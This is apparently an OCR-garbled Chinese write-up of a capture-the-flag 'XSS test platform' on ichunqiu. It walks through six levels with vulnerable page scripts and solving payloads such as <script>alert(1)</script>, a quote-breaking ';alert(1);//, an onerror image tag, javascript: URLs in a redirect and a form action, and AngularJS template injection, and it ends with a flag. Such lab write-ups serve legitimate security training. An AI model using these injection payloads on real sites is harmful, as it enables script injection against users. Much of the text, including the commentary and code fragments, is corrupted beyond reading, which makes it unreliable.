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XSS test platform

welcome xss

[® (1] CElements Console  Sources  Network
html lang="zh

> <head..</head>

¥ <body>

Performance  Memory  Application  Security  Audits

v<div id="root" class="app-wrapper amis-scope">
v<div class="amis-routes-wrapper
div class="a-Toast-wrap a-Toast-wrap--topRight"></div
vcdiv class="a-Page

¥<div class-"a-Page-content
vediv class="a-Page-main

¥ <div class-"a-Page-header

v<h2 class="a-Page-title

span class="a-TplField">XSS test platformc/span

/h2
Jdiv>

v <div class="a-Page-body
<span class-"a-TplField">welcome xss</span> -= $0
Jdiv>

JETN

C O O T2 | ed-2zehebshyijmgtanknal.cloudecil.ichungiu.com/levell?username=xss
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(45758) CSDN -.. ¥im, EEE! (.. © EESEIEW - @ CTRETECTF..

Styles Computed  Event Listeners  DOM Breakpoints  Properties

Filte
element.style {

1
3

.amis-scope *, .amis-scope
i:after {
box-sizing: inherit;
)
¥

:before, .amis

- — border—boxs

1
3

Inherited from divé#root.app..

.amis-scope {

~  font-family: 'PingFang SC', 'Hiragino Sans GB', 'STHeiti’,
YaHei', "Helvetica Neue', Helvetica, Arial, sans-serif;

F12H 483 &I, FBIURLEIT GETIE Ausername, B H:E & 45—k

rname=<script script
R Yo
R, H—Kuteasy
<« X O @ T2 | edi-2zehebshyijmgtankna?.cloudecil.ichungiu.com/level1?username=<script=alert(1)</script>
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level2
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sdk_6bBbf@d. css

3§ X

Accessibility

thov .cls +

sdk_6b8bf@d.c

sdk_6b8bfad.
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XSS test platform

Welcome xss

Console Sources Network Performance

® @] Elements

<html lang-"zh">
¥ chead>..</head>
--- ¥ <body> se
» <div id="root” class="app-wrapper amis-scope">..c/div>

Memory  Application

® ot B EE -Bugku CTF () [REZe 582

Security  Audits

¥ <script type- text/javascript >
if(location.search == "*){
location.search = "2username-xss”

¥

var username = ‘xss’;

document . getElementById("ccc’).innerHTHL= "Welcome " + escape(username);

</script>

T
</html>

html  body
i Console

Bl © top v | @ | Filter

Default levels ¥

(45555) CSDN -...

i, BEE! | fr..

Styles  Computed
Filter

element.style {

}

html, body, .app-wrapper {

position: relative;
width: 100%;
height: 100%;
margin: » @;
padding: » @;

}
body {

display: block;
, e e

Inherited from htm1

htmt {

color: -internal-raot-color;

O EEERe .

Event Listeners

@ CTFELTECTF.

DOM Breakpoints

a3l : X

Properties  Accessibility

shov .cls +
4

level2?username=xss:10

user agent stylesheet

user agent stylesheet



Bk, FI2B3 TISKMIY, FF T SfusernameitiT T escapesitd, A #FRescapelIF Fil:

JavaScript escape() &%l

JavaScript 2855

EXFRE
escape() EEEIXIFREHTIG, REMALMEATEINTEN DRz,

=
escape(string)
string W, B N SRR AR,
iBENE

E4wE3HY string BVEIA, BEhFErREEIEN 7 7 AR TS,
1588

ZJTiE =0t ASCIL FEFEIFH TG, Aax FMEXE ASCII iR/ S Tie: * @ - _ + ./ . Eftiran=fas=
WM AR,

B BEAREN ASCI ZRMBEBATHIG, BARSKH TEXE ASCIFRFSHITHRLY: *@-_+./. HMFERNERFTEHS%
RS E .
BATH

username="'j;alert(1);

if(location.search

location.search

1

J

var username ;alert(1);

<« X O O 7FZ=£ | eci-2zehebshyijmgtankna2.cloudecil.ichungiu.com/level2?username=%27;alert(1);// hx e e H
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XSS test platform

Welcorpe *alert(1);//

& d
<html lang="zh">

» chead>..</head>

¥ <body>

Elements Console Sources

% = B Google®hz R CTFERE|CTFL

Network

» <div_id="root” class="app-wrapper amis-scope"

C 0 0 FZ=| eci-ZzeheﬁshyijmgtanknaZ.cIoude(H.ichunqiu.com/leve\*?username:%27;a|ert(1),'//

® wrtes @ ER -Bugku CTF () [RE%s BE5%.

Performance  Memory  Application  Security  Audits

“>.c/div>

<script type-"text/javascript'>
if(location.search
location.search -

¥

var username = '\';alert(1);//";

Jusername=xss”

document . getElementById('ccc’).innerHTML= “Welcome "

+ username;
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P
</body>
</html>
html  body script (text)
i Console
B © tp Y| @  Filter

FATAREBHAT AR R E A 3 ) 2 Eusernamedi Bx HR T, BLR K NusernameXT i NHEAT T H R\,
SHEMEBESS, BHEENIET —MNHPL. XEERTREHE BARKIT.
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XSS test platform

Welcome

= 4l

<html lang="zh">
¥ <head>..</head>
¥ <body>

» cdiv _id-"root"

lements Console  Sources Network

class="app-wrapper amis-scope >..c

Default levels ¥

® e W @8 -Bugku CTF ) (M%e E8%..

Performance Memory Application Security Audits

div>

v<script type-"text/javascript’y
if(location.search

A

“Jusername=xss”

location.search =

¥

var username
document . getE

"<scriptralert(l)

" + username;
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</script>
Body
</html>
html body script (text)
Console
B © top v | © | Filter
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Default levels ¥

FEFE AR PAT R T H— A AL,

(455555) CSDN -...
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onerror.

W, BEE!

Styles

Filte:

Styles

Filte

| fro.

Computed

O EESRie ..

Computed

© ERESRAEW -.

Event Listeners

DOM Breakpoints

@ CTFELTACTF..

No matching selector or style

Event Listeners  DOM Breakpoints

No matching selector or style

@ CTFEZRTRCTF.
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Properties

Accessibility

Accessibility
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username=<img src=xxx onerror=alert(1)
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Welcome

level4

EARZUL, F127E—8.

var time 10;
var jumpUrl;
if(getQueryVariable(
JjumpUrl location.hr
}else{
jumpUrl get ryVariable(
}
setTimeout (jump,1000,time);
function jump(time){
if(time 0){
location.href = jumpUrl;
}else{
time time 1;
document.getElementById( ) .innerHTML ${time} ${escape(jumpUrl)} ;
setTimeout (jump,1000,time);
b
b
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars query.split( )
for (var i=@;i<vars.length;i++) {
var pair = vars[i].split( )
if(pair[0@] variable){return pair[1];}
}
return(false);

< C 0 O 422 | edi-2zehebshyijmgtankna2.cloudecil.ichungiu.com/level4 g e
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XSS test platform

TE 1SS SEEERIhttp%3A/ eci-2zehebshyijmgtankna2.cloudeci1.ichungiu.com/level4




[® (] | CElements Console Sources Network Performance  Memory  Application  Security — Audits
+cuouy
»<div id-"root” class-"app-wrapper amis-scope”r.c/div>
vescript type="text/javascript™>
var time - 10;
var jumpUrl;
if(getQueryVariable(' jumpUrl') == false){
JumpUrl - location.href;
Telse{
JumpUrl = getQueryVariable( jumpUrl');
+
setTimeout(jump, 1000, time);
function jump(time){
if(time == 0){
location.href - jumpUrl;
Jelse{
time = time - 1 ;
document.getElementById( ccc’).innerHTML= ~FAE${time} ¥} 5 = EE MBI escape(jumpurl)};
setTimeout (jump, 1008, time);

}

b

Function getQueryVariable(variable)

var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;icvars.length;i++) {
var pair = vars[i].split("="};
if(pair[@] == variable){return pair[1];}

}
return(false);
3
—- 50
html  body script (text)
Consale
Bl © | top v | © | Filter Default levels ¥

“ Styles

Filter

Computed ~ Event Listeners

3] 3 x

DOM Breakpoints ~ Properties  Accessibility

No matching selector or style

thov .els +,

T — BB, ZJSTEE T UL At 488, H—1M2%jumpUr, W LLEget)s %, W RgetZIMIEAR, £false, B

=] 3 4= Hhiloaction.href, W1 XT 5k 2 jumpUrl,
SRR —T

< C 0 O F==£| ed-2zehebshyijmgtankna2.cloudecil.ichungiu.com/level4?jumpUri=123

XSS test platform

RESHESSEERE]123

< C 00 @ #%= | eci-2zehe6shyijmgtankna2.cloudecil.ichungiu.com/123

Cannot GET /123

I mA W 5= B Google#iz L CTREEE|CTFL ® mnte® W BE -Bugku CTF () [REZ2 (58%..

Howm % == B Googlemhz L CTRERRECTFL © R W =8 -sugkucTF ) [MERe (585

(4555 CSDN -...

(4748) CSDN ..

Jump R B = B R AR, Bk jumpUnliy bk 25, it ZERITHE 10s.

B R EE [#4==function getQueryVariable(variable)== XM R EFH .

B 56— windows.location

Wi, FEE! | fr..

wWe, FEE! | fr.

O EEERme -.

O EEERmE -

@ CTFERTE-CTF..

@ CTFERTACTF.

W v O

window.location ¥SEAFRENHEIR AN (URL) HiENESREERRIFRE.

Window Location
window.location &0l ~% window BIEEHE,

— {5
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* winaow.location.nrer EH=HYLHIgY Nrer (UKL )

» window.location.hostname iR[E] web NS

* window.location.pathname IR[EI4ETTREAIIERaSUEE

« window.location.protocol iREHEAAY web #1Y (http: 3k https:)
« window.location.assign NIEEY

BEHRAMEBEMER R portii 05 . searchZ & # M ? FF 45K URLE 2 .

getQueryVariable & $ B [ il queryst 2 25 TH I N 2,  tLfihttp:/localhost:80/level4?123, XFEMIiEqueryst 2123, varsiquery
PAIE A RRFE 4 MG T B . R BR B R S T 3R T BA 8. REEHENSH. BEBNSHU=R3RRFFE TR
BB, XFtpair0i4 TS5 4, paifHSTE. BEHITHE, if(pair0] == variable){return pair[1];}
RIGTERERIRAR T A8 TR HISKI R E, Bkt 4 RISH I .

level4d?jumpUrl=javascript 1

< C 0 0 F=z| ecw-Zzeheﬁshy\jmgtanknaZ.cIoude(i1.ichunqiu.com/leve|4?jumpUr\:javas(ript:alerl(‘l) I * O
HH o EE Google #iZ CTFZHIREE|CTF. ® 18 E: . " L . — BESE! (f. O EEERAeY-. 9 CTRESTE-CTF.
WA % =F B Google®hE L CTFERECTFL SonET N S eci-2zehebshyijmgtankna2.cloudecil.ichungiu.com &7 wE W i @ .
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XSS test platform

}

function getQueryVariable(variable)

var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i-@;i<vars.length;i++) {

var pair = vars[i].split("=");

if(pair[@] == variable){return pair[1];}
}
return(false);
i
html  body script (text)
Console
B ® top Y | @ | Filter Default levels ¥

HNlevel52E— NRERZTE, FI2FEREMT

if(getQueryVariable( ) false){
var autoForm = document.getElementById( )5

autoForm.action (getQueryVariable( false) location.href : getQueryVariable(

autoForm.submit();
}else{

}

function getQueryVariable(variable)

{

var query = window.location.search.substring(1);

var vars = query.split( )

for (var i=@;i<vars.length;i++) {
var pair = vars[i].split( )5
if(pair[0@] variable){return pair[1];}
1
J

return(false);

getQueryVariable R ¥ EAMER —HK, BEEAZHWFHBRE, FEFLE MR, &ELIH LK
#getQueryVariable(‘autosubmit’) == false

A RetE T HEAT, XAk, RFELautosubmitts MERAT, B NFEWRZ

autoForm.action = (getQueryVariable(‘action’) == false) ? location.href : getQueryVariable(‘action’);

Wt Ractiontt ANt Rfalse. FilA#iEpayloadin T, Sk ERllevelikEKZE .

EaniRsEe
s’y
[® (1] | FElements Console  Sources  Network Performance  Memory  Application  Security  Audits
v cbody “ Styles Computed EventLlisteners DOM Breakpoints
» <div id="root” class="app-wrapper amis-scope>..c/div —
v oscript type-"text/javascript Filte
if(getQueryVariable( autosubmit') == false}{
var autoForm - document.getElementById("autoForm’);
autoForm.action = (getQueryVariable('action') == false) 2 location.href : getQueryVariable('action');
autoForm. submit();
Jelse{

< C 0 O FZ=| edi-2zehebshyijmgtankna2.cloudecil.ichungiu.com/level5 Y e
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Properties  Accessibility

thov .cls +

level5rautosubit=123&action=javascript:alert(1)



< X @ 7FZE2£ | edi-2zehebshyijmgtankna2.cloudecil.ichungiu.com/level5?autosubmit=123&action=javascriptalert(1)
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mE @ = B Google#hE J CTREEEICTFL ® mmen @ @E. eci-2zehebshyijmgtankna2.cloudecit.ichungiu.com &7 wEE i @ crrEsL
XSS test platform WHEA BAT—R!
EaliRs

level6

>

7113

BB, BRFEF12, BWERT.

< C v @ F%=2 | ecd-2zehebshyijmgtankna2.cloudecil.ichungiu.com/level6?username=xss

Hmm % =% B Google#mz & CTFERECIFL. ®
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XSS test platform

welcome xss
= ﬂ Elements Console Sources Network Performance Memory Application Security Audits a3 X
<html lang="zh"> Styles Computed  Event Listeners  DOM Breakpoints ~ Properties  Accessibility
¥ chead>..</head>
v <body> Filter

»<div id="root" class="app-wrapper amis-scope ng-scope" ng-app>..c/div>

- vescript type-"text/javascript”

thov .els + =
P
1f(location.search ==

element.style {
3
location.search = "username=xss”
}
</script>
</body>
</html>

script { user agent stylesheet
display: none;

Inherited from htm1
htnl {

user agent stylesheet
color: -internal-root-color;

}
html  body script (text) = -
Console X
B © | top v | @ | Filter Default levels ¥ £ i3
e
EAE
<« C 00 © FZ=| ed-2zehebshyijmgtankna2.cloudecil.ichungiu.com/level6?username= <script>alert(1) </script> ¥ e [+]
Howm W =E B Google#ZhE £ CTRERECTFL ® ot @ B2 -Bugku CTF () [REZRe 582 (4558 CSDN -... W, FEE (f.. © mEsnael-. @ CTRESISCTF. »
XSS test platform

welcome <script>alert(1) </script>

WX, HEESASHMEMBERT . « o « - BT EMHR, REBE, SEMMTT, BETHREX, BT REHWP, #2
BB IRERSHHIXSS, emmmmig R IRERL? ? ? BREXSSHERIEAN? 2 2 2 ? HiEKRKiES
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https://nosec.org/home/detail/4153.html
https://xz.aliyun.com/t/4638

My MRI\EEWHE, AESTIHMET

< C O | © F=Z=  ed-2zehebshyijmgtankna.cloudecil.ichungiu.com/level6?username

A @ 5 B Google#hE  J CTREFRE|CTFL © montt® W EE -Bugku CTF §)  [REZ2 (58%.. (4

XSS test platform

welcome {{3 3}}

[® @] | FElements Console Sources  Network Performance  Memory  Application  Security  Audits

RIMESET, FHiXiA35RS

< C 00 O FZ=| eci-2zehebshyijmgtankna2.cloudecil.ichungiu.com/level6?userna
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XSS test platform

elcome 9

@ CTFERTE-CTF..

@ CTFELTECTF.
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you win!

here is your flag : n1book{xss_is_so_interesting}

B Hlevel7, R NT—XEIAgetlag.
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